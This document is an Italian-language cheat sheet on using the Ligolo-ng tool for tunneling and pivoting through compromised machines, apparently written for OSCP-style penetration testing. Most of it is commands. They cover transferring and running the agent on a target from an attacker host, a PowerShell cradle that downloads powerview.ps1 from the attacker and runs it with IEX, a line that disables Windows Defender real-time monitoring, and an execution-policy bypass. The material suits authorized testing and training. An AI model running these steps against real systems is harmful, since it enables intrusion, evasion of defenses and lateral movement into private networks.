Vai al contenuto

Ligolo-ng

Cheetsheet per Ligolo-ng, uno strumento di tunneling e pivoting per penetration tester.

Introduzione

Ligolo-ng è uno strumento essenziale per stabilire tunnel e pivoting attraverso connessioni reverse TCP/TLS utilizzando un'interfaccia TUN. La sua semplicità e velocità lo rendono particolarmente utile in scenari complessi, come quelli affrontati durante l'OSCP o nei penetration test reali. Questo cheat sheet fornisce una guida rapida per l'utilizzo di Ligolo-ng, con esempi e scenari pratici. Verifica sempre di scaricare l'ultima versione dal repository GitHub ufficiale.

Video Demo

Guida Ufficiale


Download e Preparazione

Scaricare gli eseguibili

Scarica l'agent (macchina target) e il proxy (macchina attaccante) dalla pagina GitHub di Ligolo-ng.

Info

Assicurati di scaricare la versione corretta per la tua architettura, per il sistema operativo e per l'architettura della macchina target.

Bash
# Creare una directory per Ligolo-ng
cd /opt
mkdir ligolo
cd ligolo

# Scaricare i file

sudo wget https://github.com/nicocha30/ligolo-ng/releases/download/v0.7.3/ligolo-ng_agent_0.7.3_linux_arm64.tar.gz
sudo wget https://github.com/nicocha30/ligolo-ng/releases/download/v0.7.3/ligolo-ng_proxy_0.7.3_linux_arm64.tar.gz

# Decomprimere e rinominare i file
sudo tar -xvf ligolo-ng_agent_0.7.3_linux_arm64.tar.gz
sudo tar -xvf ligolo-ng_proxy_0.7.3_linux_arm64.tar.gz
sudo mv proxy lin-proxy
sudo mv agent lin-agent

Warning

Controlla sempre la pagina GitHub per eventuali aggiornamenti o nuove versioni.


Configurazione dell'Attacker Machine (Proxy)

Creare un'interfaccia TUN

Bash
sudo ip tuntap add user $(whoami) mode tun ligolo
sudo ip link set ligolo up

Avviare il Proxy

Bash
./lin-proxy -selfcert -laddr 0.0.0.0:443

Info

Puoi usare una porta diversa. La porta 443 è utile perché spesso non viene bloccata dai firewall.


Configurazione della Target Machine (Agent)

Trasferire l'Agent al Target

  1. Avvia un server Python sulla macchina attaccante:
    Bash
    sudo python3 -m http.server 80
    
  2. Scarica l'agent sulla macchina target:
    Bash
    wget http://<IP_attacker>/lin-agent
    chmod +x lin-agent
    

Avviare l'Agent

Bash
./lin-agent -connect <IP_attacker>:443 -ignore-cert

Pivoting su Altre Reti

Enumerazione della Rete sulla Target Machine

Esegui i seguenti comandi per identificare altre reti:

Bash
netstat -an
ip route
ifconfig

Aggiungere Rotte sulla Macchina Attaccante

Usa le informazioni ottenute per aggiungere una nuova rotta:

Bash
sudo ip route add <subnet_target>/24 dev ligolo

Info

Aggiungere una rotta permette alla macchina attaccante di inoltrare il traffico verso una specifica subnet, consentendo il pivoting e l'accesso a reti aggiuntive.

Esempio:

Bash
sudo ip route add 192.168.110.0/24 dev ligolo

Warning

Questo passo è cruciale per facilitare la connessione verso nuovi target identificati durante l'enumerazione della rete.


Configurazione su Macchine Windows

Scaricare l'Agent Windows

Scarica l'agent compatibile da GitHub:

Bash
sudo wget https://github.com/nicocha30/ligolo-ng/releases/download/v0.4.3/ligolo-ng_agent_0.4.3_Windows_64bit.zip
Assicurati che il file sia disponibile tramite il server Python:
Bash
sudo python3 -m http.server 80

Trasferire e Avviare l'Agent

Sulla macchina Windows, scarica e avvia l'agent:

PowerShell
certutil.exe -urlcache -split -f "http://<IP_attacker>:80/win-agent.exe"
win-agent.exe -connect <IP_attacker>:443 -ignore-cert

Aggiungere una Nuova Rotta

Sulla macchina attaccante:

Bash
sudo ip route add <subnet_target>/24 dev ligolo
Esempio:
Bash
sudo ip route add 192.168.210.0/24 dev ligolo


Gestione delle Sessioni

Per visualizzare e gestire le sessioni:

  1. Digita session nella finestra del proxy.
  2. Usa start per attivare un tunnel specifico.

Strumenti Utili per Enumerazione Avanzata

Powerview (Windows)

PowerView è uno script PowerShell per enumerare reti e domini Windows. Ad esempio, il seguente comando, eseguito su una macchina Windows compromessa, elenca i trust forestali nella rete. Questo è utile per identificare altre reti e domini da esplorare.

PowerShell
(New-Object System.Net.WebClient).DownloadString('http://<IP_attacker>/powerview.ps1') | IEX
Get-NetForestTrust

Altri Comandi Utili (Windows)

Questo comando, invece, mostra le connessioni di rete in uscita verso subnet specifiche:

PowerShell
netstat -an | findstr "192.168."
Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableRealtimeMonitoring $true


Scenari e Esempi Avanzati

Scenario 1: Pivoting Multi-Hop

  1. Dopo aver compromesso una macchina, identifica una seconda subnet:
    Bash
    ip route
    
  2. Aggiungi la rotta sulla macchina attaccante:
    Bash
    sudo ip route add 192.168.120.0/24 dev ligolo
    
  3. Sposta l'agent sulla nuova macchina target e stabilisci una connessione.

Warning

Identificare i nuovi target è essenziale. Usa strumenti come netstat o ip route per ottenere informazioni sulle connessioni esistenti e i percorsi di rete.

Scenario 2: Uso Avanzato su Windows

Utilizza winPEAS per enumerare dettagli sulla macchina target e individuare nuove reti:

PowerShell
powershell.exe -ExecutionPolicy Bypass -File winPEASx64.ps1


Schemi Visivi

graph TD
    A[Attacker Machine] -->|Proxy 443| B[Target Machine 1]
    B -->|Agent| C[Subnet 192.168.110.0/24]
    C --> D[Target Machine 2]
    D -->|Agent| E[Subnet 192.168.210.0/24]

Ripetere il Processo

  • Sposta l'agent sulla macchina che comunica con altre subnet o domini.
  • Configura la connessione con Ligolo e aggiungi la nuova subnet come rotta.

Ripeti questo schema fino a raggiungere tutti i target nella rete.

Info

Per identificare i nuovi target, considera l'output di netstat o ifconfig sulla macchina target e analizza quali subnet possono essere esplorate ulteriormente.


Risorse Utili